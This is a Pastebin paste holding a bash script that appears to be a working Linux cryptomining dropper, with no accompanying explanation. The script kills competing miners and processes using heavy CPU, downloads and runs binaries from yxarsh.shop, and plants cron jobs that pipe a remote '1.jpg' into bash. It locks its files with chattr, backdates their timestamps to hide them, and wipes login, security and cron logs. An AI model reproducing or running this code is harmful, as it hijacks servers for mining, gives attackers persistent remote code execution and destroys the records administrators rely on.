Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- SHELL=/bin/sh
- PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
- function b() {
- pkill -f sourplum
- pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
- rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
- rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
- rm -rf /tmp/*index_bak*
- rm -rf /tmp/*httpd.conf*
- rm -rf /tmp/*httpd.conf
- rm -rf /tmp/a7b104c270
- pkill -f kworkerds
- pkill -f biosetjenkins
- pkill -f AnXqV.yam
- pkill -f xmrigDaemon
- pkill -f xmrigMiner
- pkill -f xmrig
- pkill -f Loopback
- pkill -f apaceha
- pkill -f cryptonight
- pkill -f stratum
- pkill -f mixnerdx
- pkill -f performedl
- pkill -f JnKihGjn
- pkill -f irqba2anc1
- pkill -f irqba5xnc1
- pkill -f irqbnc1
- pkill -f ir29xc1
- pkill -f conns
- pkill -f irqbalance
- pkill -f crypto-pool
- pkill -f minexmr
- pkill -f XJnRj
- pkill -f NXLAi
- pkill -f BI5zj
- pkill -f askdljlqw
- pkill -f minerd
- pkill -f minergate
- pkill -f Guard.sh
- pkill -f ysaydh
- pkill -f bonns
- pkill -f donns
- pkill -f kxjd
- pkill -f Duck.sh
- pkill -f bonn.sh
- pkill -f conn.sh
- pkill -f kworker34
- pkill -f kw.sh
- pkill -f pro.sh
- pkill -f polkitd
- pkill -f acpid
- pkill -f icb5o
- pkill -f nopxi
- pkill -f irqbalanc1
- pkill -f minerd
- pkill -f i586
- pkill -f gddr
- pkill -f mstxmr
- pkill -f ddg.2011
- pkill -f wnTKYg
- pkill -f deamon
- pkill -f disk_genius
- pkill -f sourplum
- pkill -f bashx
- pkill -f bashg
- pkill -f bashe
- pkill -f bashf
- pkill -f bashh
- pkill -f XbashY
- pkill -f libapache
- pkill -f qW3xT.2
- pkill -f /usr/bin/.sshd
- pkill -f sustes
- pkill -f Xbash
- rm -rf /var/tmp/j*
- rm -rf /tmp/j*
- rm -rf /var/tmp/java
- rm -rf /tmp/java
- rm -rf /var/tmp/java2
- rm -rf /tmp/java2
- rm -rf /var/tmp/java*
- rm -rf /tmp/java*
- rm -rf /tmp/httpd.conf
- rm -rf /tmp/conn
- rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
- rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
- chattr -i /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-*
- rm -rf /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-* .systemd-private-*
- chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
- chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
- chattr -i /bin/nfstruncate && rm -rf /bin/nfstruncate
- rm -rf /etc/rc*.d/S01nfstruncate /etc/rc.d/rc*.d/S01nfstruncate
- chattr -i /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
- rm -rf /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
- mkdir -p /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port
- touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
- chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
- chattr +i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
- ps auxf|grep -v grep|grep -v "\_" |grep -v "kthreadd" |grep "\[.*\]"|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep /tmp/thisxxs|awk '{print $2}'|xargs kill
- ps auxf|grep -v grep|grep /opt/yilu/work/xig/xig|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|rep /usr/bin/bsd-port/getty | awk '{print $2}'|xargs kill -9
- netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
- netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
- netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
- netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
- netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
- netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
- netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
- netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
- netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
- netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
- netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
- netstat -anp | grep :56415 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
- }
- function d() {
- if [ `getconf LONG_BIT` = "32" ]; then
- mkdir -p /var/tmp
- chmod 1777 /var/tmp
- (curl -fsSL --connect-timeout 120 http://yxarsh.shop/86 -o /var/tmp/r1x||wget http://yxarsh.shop/86 -O /var/tmp/r1x) && chmod +x /var/tmp/r1x
- nohup /var/tmp/r1x >/dev/null 2>&1 &
- else
- (curl -fsSL --connect-timeout 120 http://yxarsh.shop/64 -o /tmp/r1x||wget http://yxarsh.shop/64 -O /tmp/r1x) && chmod +x /tmp/r1x
- nohup /tmp/r1x >/dev/null 2>&1 &
- fi
- }
- function c() {
- chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
- (curl -fsSL --connect-timeout 120 http://yxarsh.shop/0 -o /usr/local/bin/dns||wget http://yxarsh.shop/0 -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns
- echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontab
- echo -e "*/10 * * * * root (curl -fsSL http://yxarsh.shop/1.jpg||wget -q -O- http://yxarsh.shop/1.jpg)|bash -sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root
- echo -e "*/17 * * * * root (curl -fsSL http://yxarsh.shop/1.jpg||wget -q -O- http://yxarsh.shop/1.jpg)|bash -sh\n##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache
- echo -e "*/23 * * * * (curl -fsSL http://yxarsh.shop/1.jpg||wget -q -O- http://yxarsh.shop/1.jpg)|bash -sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root
- mkdir -p /var/spool/cron/crontabs
- echo -e "*/31 * * * * (curl -fsSL http://yxarsh.shop/1.jpg||wget -q -O- http://yxarsh.shop/1.jpg)|bash -sh\n##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
- mkdir -p /etc/cron.hourly
- (curl -fsSL --connect-timeout 120 http://yxarsh.shop/0 -o /etc/cron.hourly/oanacroner||wget http://yxarsh.shop/0 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
- mkdir -p /etc/cron.daily
- (curl -fsSL --connect-timeout 120 http://yxarsh.shop/0 -o /etc/cron.daily/oanacroner||wget http://yxarsh.shop/0 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
- mkdir -p /etc/cron.monthly
- (curl -fsSL --connect-timeout 120 http://yxarsh.shop/0 -o /etc/cron.monthly/oanacroner||wget http://yxarsh.shop/0 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
- rm -rf /etc/ld.so.preload
- touch -acmr /bin/sh /etc/cron.hourly/oanacroner
- touch -acmr /bin/sh /etc/cron.daily/oanacroner
- touch -acmr /bin/sh /etc/cron.monthly/oanacroner
- }
- b
- c
- if [ ! "$(ps -fe|grep 'r1x'|grep -v grep)" ];then
- ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
- do
- kill -9 $procid
- done
- d
- sleep 5
- fi
- echo 0>/var/spool/mail/root
- echo 0>/var/log/wtmp
- echo 0>/var/log/secure
- echo 0>/var/log/cron
- #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement